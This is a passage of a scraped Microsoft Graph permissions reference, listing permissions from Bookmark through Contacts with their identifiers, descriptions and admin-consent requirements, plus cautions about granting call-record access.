    DescriptionAllows an app to read and write Bookings appointments and customers, and additionally allows reading businesses, services, and staff without a signed-in user.Allows an app to read and write bookings appointments and customers, and additionally allows read businesses information, services, and staff on behalf of the signed-in user.
    AdminConsentRequiredYesNo
    -
    -

    Bookmark.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierbe95e614-8ef3-49eb-8464-1c9503433b8698b17b35-f3b1-4849-a85f-9f13733002f0
    DisplayTextRead all bookmarksRead all bookmarks that the user can access
    DescriptionAllows an app to read all bookmarks without a signed-in user.Allows an app to read all bookmarks that the signed-in user can access.
    AdminConsentRequiredYesNo
    -
    -

    BrowserSiteLists.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierc5ee1f21-fc7f-4937-9af0-c91648ff9597fb9be2b7-a7fc-4182-aec1-eda4597c43d5
    DisplayTextRead all browser site lists for your organizationRead browser site lists for your organization
    DescriptionAllows an app to read all browser site lists configured for your organization, without a signed-in user.Allows an app to read the browser site lists configured for your organization, on behalf of the signed-in user.
    AdminConsentRequiredYesNo
    -
    -

    BrowserSiteLists.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier8349ca94-3061-44d5-9bfb-33774ea5e4f983b34c85-95bf-497b-a04e-b58eca9d49d0
    DisplayTextRead and write all browser site lists for your organizationRead and write browser site lists for your organization
    DescriptionAllows an app to read and write all browser site lists configured for your organization, without a signed-in user.Allows an app to read and write the browser site lists configured for your organization, on behalf of the signed-in user.
    AdminConsentRequiredYesNo
    -
    -

    BusinessScenarioConfig.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-d16480b2-e469-4118-846b-d3d177327bee
    DisplayText-Read business scenario configurations
    Description-Allows the app to read the configurations of your organization's business scenarios, on behalf of the signed-in user.
    AdminConsentRequired-Yes
    -
    -

    BusinessScenarioConfig.Read.OwnedBy

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifieracc0fc4d-2cd6-4194-8700-1768d8423d86c47e7b6e-d6f1-4be9-9ffd-1e00f3e32892
    DisplayTextRead all business scenario configurations this app creates or ownsRead business scenario configurations this app creates or owns
    DescriptionAllows the app to read the configurations of business scenarios it owns, without a signed-in user.Allows the app to read the configurations of business scenarios it owns, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    BusinessScenarioConfig.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-755e785b-b658-446f-bb22-5a46abd029ea
    DisplayText-Read and write business scenario configurations
    Description-Allows the app to read and write the configurations of your organization's business scenarios, on behalf of the signed-in user.
    AdminConsentRequired-Yes
    -
    -

    BusinessScenarioConfig.ReadWrite.OwnedBy

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierbbea195a-4c47-4a4f-bff2-cba399e11698b3b7fcff-b4d4-4230-bf6f-90bd91285395
    DisplayTextRead and write all business scenario configurations this app creates or ownsRead and write business scenario configurations this app creates or owns
    DescriptionAllows the app to create new business scenarios and fully manage the configurations of scenarios it owns, without a signed-in user.Allows the app to create new business scenarios and fully manage the configurations of scenarios it owns, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    BusinessScenarioData.Read.OwnedBy

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier6c0257fd-cffe-415b-8239-2d0d70fdaa9c25b265c4-5d34-4e44-952d-b567f6d3b96d
    DisplayTextRead data for all business scenarios this app creates or ownsRead all data for business scenarios this app creates or owns
    DescriptionAllows the app to read the data associated with the business scenarios it owns, without a signed-in user.Allows the app to read all data associated with the business scenarios it owns. Data access will be attributed to the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    BusinessScenarioData.ReadWrite.OwnedBy

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierf2d21f22-5d80-499e-91cc-0a8a4ce16f5419932d57-2952-4c60-8634-3655c79fc527
    DisplayTextRead and write data for all business scenarios this app creates or ownsRead and write all data for business scenarios this app creates or owns
    DescriptionAllows the app to fully manage the data associated with the business scenarios it owns, without a signed-in user.Allows the app to fully manage all data associated with the business scenarios it owns. Data access and changes will be attributed to the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    Calendars.Read

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier798ee544-9d2d-430c-a058-570e29e34338465a38f9-76ea-45b9-9f34-9e8b0d4b0b42
    DisplayTextRead calendars in all mailboxesRead user calendars
    DescriptionAllows the app to read events of all calendars without a signed-in user.Allows the app to read events in user calendars.
    AdminConsentRequiredYesNo
    -

    personal Microsoft accounts The Calendars.Read delegated permission is available for consent in personal Microsoft accounts.

    - -
    -
    -

    Calendars.Read.Shared

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-2b9c4092-424d-4249-948d-b43879977640
    DisplayText-Read user and shared calendars
    Description-Allows the app to read events in all calendars that the user can access, including delegate and shared calendars.
    AdminConsentRequired-No
    -

    personal Microsoft accounts The Calendars.Read.Shared delegated permission is available for consent in personal Microsoft accounts.

    -
    -

    Calendars.ReadBasic

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-662d75ba-a364-42ad-adee-f5f880ea4878
    DisplayText-Read basic details of user calendars
    Description-Allows the app to read events in user calendars, except for properties such as body, attachments, and extensions.
    AdminConsentRequired-No
    -

    personal Microsoft accounts The Calendars.ReadBasic delegated permission is available for consent in personal Microsoft accounts.

    -
    -

    Calendars.ReadBasic.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier8ba4a692-bc31-4128-9094-475872af8a53-
    DisplayTextRead basic details of calendars in all mailboxes-
    DescriptionAllows the app to read events of all calendars, except for properties such as body, attachments, and extensions, without a signed-in user.-
    AdminConsentRequiredYes-
    -
    -

    Calendars.ReadWrite

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifieref54d2bf-783f-4e0f-bca1-3210c0444d991ec239c2-d7c9-4623-a91a-a9775856bb36
    DisplayTextRead and write calendars in all mailboxesHave full access to user calendars
    DescriptionAllows the app to create, read, update, and delete events of all calendars without a signed-in user.Allows the app to create, read, update, and delete events in user calendars.
    AdminConsentRequiredYesNo
    -

    personal Microsoft accounts The Calendars.ReadWrite delegated permission is available for consent in personal Microsoft accounts.

    - -

    Administrators can configure application access policy to limit app access to specific mailboxes and not to all the mailboxes in the organization, even if the app has been granted the Calendars.ReadWrite application permission.

    -
    -

    Calendars.ReadWrite.Shared

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-12466101-c9b8-439a-8589-dd09ee67e8e9
    DisplayText-Read and write user and shared calendars
    Description-Allows the app to create, read, update and delete events in all calendars in the organization user has permissions to access. This includes delegate and shared calendars.
    AdminConsentRequired-No
    -
    -

    CallEvents.Read

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-43431c03-960e-400f-87c6-8f910321dca3
    DisplayText-Read call event data
    Description-Allows the app to read call event information for an organization for the signed-in user.
    AdminConsentRequired-Yes
    -
    -

    CallEvents.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier1abb026f-7572-49f6-9ddd-ad61cbba181e-
    DisplayTextRead all call events-
    DescriptionAllows the app to read call event information for all users in your organization, without a signed-in user.-
    AdminConsentRequiredYes-
    -
    -

    CallRecord-PstnCalls.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifiera2611786-80b3-417e-adaa-707d4261a5f0-
    DisplayTextRead PSTN and direct routing call log data-
    DescriptionAllows the app to read all PSTN and direct routing call log data without a signed-in user.-
    AdminConsentRequiredYes-
    - -

    The CallRecord-PstnCalls.Read.All permission grants an application access to PSTN (calling plans) and direct routing call logs. This includes potentially sensitive information about users as well as calls to and from external phone numbers.

    -
    -

    Important

    -
      -
    • Discretion should be used when granting these permissions to applications. Call records can provide insights into the operation of your business, and so can be a target for malicious actors. Only grant these permissions to applications you trust to meet your data protection requirements.
    • -
    • Make sure that you are compliant with the laws and regulations in your area regarding data protection and confidentiality of communications. Please see the Terms of Use and consult with your legal counsel for more information.
    • -
    -
    -
    -

    CallRecords.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier45bbb07e-7321-4fd7-a8f6-3ff27e6a81c8-
    DisplayTextRead all call records-
    DescriptionAllows the app to read call records for all calls and online meetings without a signed-in user.-
    AdminConsentRequiredYes-
    - -

    The CallRecords.Read.All permission grants an application privileged access to callRecords for every call and online meeting within your organization, including calls to and from external phone numbers. This includes potentially sensitive details about who participated in the call, as well as technical information pertaining to these calls and meetings that can be used for network troubleshooting, such as IP addresses, device details, and other network information.

    -
    -

    Important

    -
      -
    • Discretion should be used when granting these permissions to applications. Call records can provide insights into the operation of your business, and so can be a target for malicious actors. Only grant these permissions to applications you trust to meet your data protection requirements.
    • -
    • Make sure that you are compliant with the laws and regulations in your area regarding data protection and confidentiality of communications. Please see the Terms of Use and consult with your legal counsel for more information.
    • -
    -
    -
    -

    Calls.AccessMedia.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifiera7a681dc-756e-4909-b988-f160edc6655f-
    DisplayTextAccess media streams in a call as an app-
    DescriptionAllows the app to get direct access to media streams in a call, without a signed-in user.-
    AdminConsentRequiredYes-
    -
    -

    Calls.Initiate.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier284383ee-7f6e-4e40-a2a8-e85dcb029101-
    DisplayTextInitiate outgoing 1 to 1 calls from the app-
    DescriptionAllows the app to place outbound calls to a single user and transfer calls to users in your organization's directory, without a signed-in user.-
    AdminConsentRequiredYes-
    -
    -

    Calls.InitiateGroupCall.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier4c277553-8a09-487b-8023-29ee378d8324-
    DisplayTextInitiate outgoing group calls from the app-
    DescriptionAllows the app to place outbound calls to multiple users and add participants to meetings in your organization, without a signed-in user.-
    AdminConsentRequiredYes-
    -
    -

    Calls.JoinGroupCall.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierf6b49018-60ab-4f81-83bd-22caeabfed2d-
    DisplayTextJoin group calls and meetings as an app-
    DescriptionAllows the app to join group calls and scheduled meetings in your organization, without a signed-in user.  The app will be joined with the privileges of a directory user to meetings in your organization.-
    AdminConsentRequiredYes-
    -
    -

    Calls.JoinGroupCallAsGuest.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierfd7ccf6b-3d28-418b-9701-cd10f5cd2fd4-
    DisplayTextJoin group calls and meetings as a guest-
    DescriptionAllows the app to anonymously join group calls and scheduled meetings in your organization, without a signed-in user.  The app will be joined as a guest to meetings in your organization.-
    AdminConsentRequiredYes-
    -
    -

    Channel.Create

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierf3a65bd4-b703-46df-8f7e-0174fea562aa101147cf-4178-4455-9d58-02b5c164e759
    DisplayTextCreate channelsCreate channels
    DescriptionCreate channels in any team, without a signed-in user.Create channels in any team, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    Channel.Delete.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier6a118a39-1227-45d4-af0c-ea7b40d210bccc83893a-e232-4723-b5af-bd0b01bcfe65
    DisplayTextDelete channelsDelete channels
    DescriptionDelete channels in any team, without a signed-in user.Delete channels in any team, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    Channel.ReadBasic.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier59a6b24b-4225-4393-8165-ebaec5f55d7a9d8982ae-4365-4f57-95e9-d6032a4c0b87
    DisplayTextRead the names and descriptions of all channelsRead the names and descriptions of channels
    DescriptionRead all channel names and channel descriptions, without a signed-in user.Read channel names and channel descriptions, on behalf of the signed-in user.
    AdminConsentRequiredYesNo
    -
    -

    ChannelMember.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier3b55498e-47ec-484f-8136-9013221c06a92eadaff8-0bce-4198-a6b9-2cfc35a30075
    DisplayTextRead the members of all channelsRead the members of channels
    DescriptionRead the members of all channels, without a signed-in user.Read the members of channels, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    ChannelMember.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier35930dcf-aceb-4bd1-b99a-8ffed403c9740c3e411a-ce45-4cd1-8f30-f99a3efa7b11
    DisplayTextAdd and remove members from all channelsAdd and remove members from channels
    DescriptionAdd and remove members from all channels, without a signed-in user. Also allows changing a member's role, for example from owner to non-owner.Add and remove members from channels, on behalf of the signed-in user. Also allows changing a member's role, for example from owner to non-owner.
    AdminConsentRequiredYesYes
    -
    -

    ChannelMessage.Edit

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-2b61aa8a-6d36-4b2f-ac7b-f29867937c53
    DisplayText-Edit user's channel messages
    Description-Allows an app to edit channel messages in Microsoft Teams, on behalf of the signed-in user.
    AdminConsentRequired-No
    -
    -

    ChannelMessage.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier7b2449af-6ccd-4f4d-9f78-e550c193f0d1767156cb-16ae-4d10-8f8b-41b657c8c8c8
    DisplayTextRead all channel messagesRead user channel messages
    DescriptionAllows the app to read all channel messages in Microsoft TeamsAllows an app to read a channel's messages in Microsoft Teams, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    ChannelMessage.ReadWrite

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-5922d31f-46c8-4404-9eaf-2117e390a8a4
    DisplayText-Read and write user channel messages
    Description-Allows the app to read and write channel messages, on behalf of the signed-in user. This doesn't allow the app to edit the policyViolation of a channel message.
    AdminConsentRequired-Yes
    -
    -

    ChannelMessage.Send

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-ebf0f66e-9fb1-49e4-a278-222f76911cf4
    DisplayText-Send channel messages
    Description-Allows an app to send channel messages in Microsoft Teams, on behalf of the signed-in user.
    AdminConsentRequired-No
    -
    -

    ChannelMessage.UpdatePolicyViolation.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier4d02b0cc-d90b-441f-8d82-4fb55c34d6bb-
    DisplayTextFlag channel messages for violating policy-
    DescriptionAllows the app to update Microsoft Teams channel messages by patching a set of Data Loss Prevention (DLP) policy violation properties to handle the output of DLP processing.-
    AdminConsentRequiredYes-
    -
    -

    ChannelSettings.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierc97b873f-f59f-49aa-8a0e-52b32d762124233e0cf1-dd62-48bc-b65b-b38fe87fcf8e
    DisplayTextRead the names, descriptions, and settings of all channelsRead the names, descriptions, and settings of channels
    DescriptionRead all channel names, channel descriptions, and channel settings, without a signed-in user.Read all channel names, channel descriptions, and channel settings, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    ChannelSettings.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier243cded2-bd16-4fd6-a953-ff8177894c3dd649fb7c-72b4-4eec-b2b4-b15acf79e378
    DisplayTextRead and write the names, descriptions, and settings of all channelsRead and write the names, descriptions, and settings of channels
    DescriptionRead and write the names, descriptions, and settings of all channels, without a signed-in user.Read and write the names, descriptions, and settings of all channels, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    Chat.Create

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierd9c48af6-9ad9-47ad-82c3-63757137b9af38826093-1258-4dea-98f0-00003be2b8d0
    DisplayTextCreate chatsCreate chats
    DescriptionAllows the app to create chats without a signed-in user. Allows the app to create chats on behalf of the signed-in user.
    AdminConsentRequiredYesNo
    -
    -

    Chat.ManageDeletion.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier9c7abde0-eacd-4319-bf9e-35994b1a1717bb64e6fc-6b6d-4752-aea0-dd922dbba588
    DisplayTextDelete and recover deleted chatsDelete and recover deleted chats
    DescriptionAllows the app to delete and recover deleted chats, without a signed-in user.Allows the app to delete and recover deleted chats, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    Chat.Read

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-f501c180-9344-439a-bca0-6cbf209fd270
    DisplayText-Read user chat messages
    Description-Allows an app to read 1 on 1 or group chats threads, on behalf of the signed-in user.
    AdminConsentRequired-No
    -
    -

    Chat.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier6b7d71aa-70aa-4810-a8d9-5d9fb2830017-
    DisplayTextRead all chat messages-
    DescriptionAllows the app to read all 1-to-1 or group chat messages in Microsoft Teams.-
    AdminConsentRequiredYes-
    -
    -

    Chat.Read.WhereInstalled

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier1c1b4c8e-3cc7-4c58-8470-9b92c9d5848b-
    DisplayTextRead all chat messages for chats where the associated Teams application is installed.-
    DescriptionAllows the app to read all one-to-one or group chat messages in Microsoft Teams for chats where the associated Teams application is installed, without a signed-in user.-
    AdminConsentRequiredYes-
    -
    -

    Chat.ReadBasic

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-9547fcb5-d03f-419d-9948-5928bbf71b0f
    DisplayText-Read names and members of user chat threads
    Description-Allows an app to read the members and descriptions of one-to-one and group chat threads, on behalf of the signed-in user.
    AdminConsentRequired-No
    -
    -

    Chat.ReadBasic.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierb2e060da-3baf-4687-9611-f4ebc0f0cbde-
    DisplayTextRead names and members of all chat threads-
    DescriptionRead names and members of all one-to-one and group chats in Microsoft Teams, without a signed-in user.-
    AdminConsentRequiredYes-
    -
    -

    Chat.ReadBasic.WhereInstalled

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier818ba5bd-5b3e-4fe0-bbe6-aa4686669073-
    DisplayTextRead names and members of all chat threads where the associated Teams application is installed.-
    DescriptionAllows the app to read names and members of all one-to-one and group chats in Microsoft Teams where the associated Teams application is installed, without a signed-in user.-
    AdminConsentRequiredYes-
    -
    -

    Chat.ReadWrite

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-9ff7295e-131b-4d94-90e1-69fde507ac11
    DisplayText-Read and write user chat messages
    Description-Allows an app to read and write 1 on 1 or group chats threads, on behalf of the signed-in user.
    AdminConsentRequired-No
    -
    -

    Chat.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier294ce7c9-31ba-490a-ad7d-97a7d075e4ed7e9a077b-3711-42b9-b7cb-5fa5f3f7fea7
    DisplayTextRead and write all chat messagesRead and write all chat messages
    DescriptionAllows an app to read and write all chat messages in Microsoft Teams, without a signed-in user.Allows an app to read and write all one-to-one and group chats in Microsoft Teams, without a signed-in user. Does not allow sending messages.
    AdminConsentRequiredYesYes
    -
    -

    Chat.ReadWrite.WhereInstalled

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierad73ce80-f3cd-40ce-b325-df12c33df713-
    DisplayTextRead and write all chat messages for chats where the associated Teams application is installed.-
    DescriptionAllows the app to read and write all chat messages in Microsoft Teams for chats where the associated Teams application is installed, without a signed-in user.-
    AdminConsentRequiredYes-
    -
    -

    Chat.UpdatePolicyViolation.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier7e847308-e030-4183-9899-5235d7270f58-
    DisplayTextFlag chat messages for violating policy-
    DescriptionAllows the app to update Microsoft Teams 1-to-1 or group chat messages by patching a set of Data Loss Prevention (DLP) policy violation properties to handle the output of DLP processing.-
    AdminConsentRequiredYes-
    -
    -

    ChatMember.Read

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-c5a9e2b1-faf6-41d4-8875-d381aa549b24
    DisplayText-Read the members of chats
    Description-Read the members of chats, on behalf of the signed-in user.
    AdminConsentRequired-Yes
    -
    -

    ChatMember.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifiera3410be2-8e48-4f32-8454-c29a7465209d-
    DisplayTextRead the members of all chats-
    DescriptionRead the members of all chats, without a signed-in user.-
    AdminConsentRequiredYes-
    -
    -

    ChatMember.Read.WhereInstalled

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier93e7c9e4-54c5-4a41-b796-f2a5adaacda7-
    DisplayTextRead the members of all chats where the associated Teams application is installed.-
    DescriptionAllows the app to read the members of all chats where the associated Teams application is installed, without a signed-in user.-
    AdminConsentRequiredYes-
    -
    -

    ChatMember.ReadWrite

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-dea13482-7ea6-488f-8b98-eb5bbecf033d
    DisplayText-Add and remove members from chats
    Description-Add and remove members from chats, on behalf of the signed-in user.
    AdminConsentRequired-Yes
    -
    -

    ChatMember.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier57257249-34ce-4810-a8a2-a03adf0c5693-
    DisplayTextAdd and remove members from all chats-
    DescriptionAdd and remove members from all chats, without a signed-in user.-
    AdminConsentRequiredYes-
    -
    -

    ChatMember.ReadWrite.WhereInstalled

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifiere32c2cd9-0124-4e44-88fc-772cd98afbdb-
    DisplayTextAdd and remove members from all chats where the associated Teams application is installed.-
    DescriptionAllows the app to add and remove members from all chats where the associated Teams application is installed, without a signed-in user.-
    AdminConsentRequiredYes-
    -
    -

    ChatMessage.Read

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-cdcdac3a-fd45-410d-83ef-554db620e5c7
    DisplayText-Read user chat messages
    Description-Allows an app to read one-to-one and group chat messages, on behalf of the signed-in user.
    AdminConsentRequired-No
    -
    -

    ChatMessage.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierb9bb2381-47a4-46cd-aafb-00cb12f68504-
    DisplayTextRead all chat messages-
    DescriptionAllows the app to read all one-to-one and group chats messages in Microsoft Teams, without a signed-in user.-
    AdminConsentRequiredYes-
    -
    -

    ChatMessage.Send

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-116b7235-7cc6-461e-b163-8e55691d839e
    DisplayText-Send user chat messages
    Description-Allows an app to send one-to-one and group chat messages in Microsoft Teams, on behalf of the signed-in user.
    AdminConsentRequired-No
    -
    -

    CloudApp-Discovery.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier64a59178-dad3-4673-89db-84fdcd622fecad46d60e-1027-4b75-af88-7c14ccf43a19
    DisplayTextRead all discovered cloud applications dataRead discovered cloud applications data
    DescriptionAllows the app to read all details of discovered cloud apps in the organization, without a signed-in user.Allows the app to read details of discovered cloud apps in the organization, on behalf of the signed in user.
    AdminConsentRequiredYesNo
    -
    -

    CloudPC.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifiera9e09520-8ed4-4cde-838e-4fdea192c2275252ec4e-fd40-4d92-8c68-89dd1d3c6110
    DisplayTextRead Cloud PCsRead Cloud PCs
    DescriptionAllows the app to read the properties of Cloud PCs, without a signed-in user.Allows the app to read the properties of Cloud PCs on behalf of the signed-in user.
    AdminConsentRequiredYesNo
    -
    -

    CloudPC.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier3b4349e1-8cf5-45a3-95b7-69d1751d3e6a9d77138f-f0e2-47ba-ab33-cd246c8b79d1
    DisplayTextRead and write Cloud PCsRead and write Cloud PCs
    DescriptionAllows the app to read and write the properties of Cloud PCs, without a signed-in user.Allows the app to read and write the properties of Cloud PCs on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    Community.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier407f0cce-3212-441f-9f55-3bc91342cf8612ae2e92-14b5-47b2-babb-4e890bbedc0a
    DisplayTextRead all Viva Engage communitiesRead all Viva Engage communities
    DescriptionAllows the app to list Viva Engage communities, and to read their properties without a signed-in user.Allows the app to list Viva Engage communities, and to read their properties on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    Community.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier35d59e32-eab5-4553-9345-abb62b4c703c9e69467d-e0e2-402b-a926-3d796990197f
    DisplayTextRead and write all Viva Engage communitiesRead and write all Viva Engage communities
    DescriptionAllows the app to create Viva Engage communities, read all community properties, update community properties, and delete communities without a signed-in user.Allows the app to create Viva Engage communities and read all community properties on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    ConsentRequest.Create

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-f2143d35-9b4b-480d-951c-d083e69eeb2c
    DisplayText-Create consent requests
    Description-Allows the app to read create consent requests on behalf of the signed-in user.
    AdminConsentRequired-Yes
    -
    -

    ConsentRequest.Read

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-5942b2f6-5a7b-40af-aa37-4b6ea5447506
    DisplayText-Read consent requests created by the user
    Description-Allows the app to read consent requests and approvals created by the signed-in user, on behalf of the signed-in user.
    AdminConsentRequired-No
    -
    -

    ConsentRequest.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier1260ad83-98fb-4785-abbb-d6cc1806fd41f3bfad56-966e-4590-a536-82ecf548ac1e
    DisplayTextRead all consent requestsRead consent requests
    DescriptionAllows the app to read consent requests and approvals without a signed-in user.Allows the app to read consent requests and approvals on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    ConsentRequest.ReadApprove.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-e694a3a1-7878-46d8-8c29-3d195f6589f4
    DisplayText-Read and approve consent requests
    Description-Allows the app to read and approve consent requests on behalf of the signed in user.
    AdminConsentRequired-Yes
    -
    -

    ConsentRequest.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier9f1b81a7-0223-4428-bfa4-0bcb5535f27d497d9dfa-3bd1-481a-baab-90895e54568c
    DisplayTextRead and write all consent requestsRead and write consent requests
    DescriptionAllows the app to read app consent requests and approvals, and deny or approve those requests without a signed-in user.Allows the app to read app consent requests and approvals, and deny or approve those requests on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    Contacts.Read

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier089fe4d0-434a-44c5-8827-41ba8a0b17f5ff74d97f-43af-4b68-9f2a-b77ee6968c5d
    DisplayTextRead contacts in all mailboxesRead user contacts
    DescriptionAllows the app to read all contacts in all mailboxes without a signed-in user.Allows the app to read user contacts.
    AdminConsentRequiredYesNo
    -

    personal Microsoft accounts The Contacts.Read delegated permission is available for consent in personal Microsoft accounts.

    - -

    Administrators can configure application access policy to limit app access to specific mailboxes and not to all the mailboxes in the organization, even if the app has been granted the Contacts.Read application permission.

    -
    -

    Contacts.Read.Shared

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-242b9d9e-ed24-4d09-9a52-f43769beb9d4
    DisplayText-Read user and shared contacts
    Description-Allows the app to read contacts a user has permissions to access, including their own and shared contacts.
    AdminConsentRequired-No
    -
    -

    Contacts.ReadWrite

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
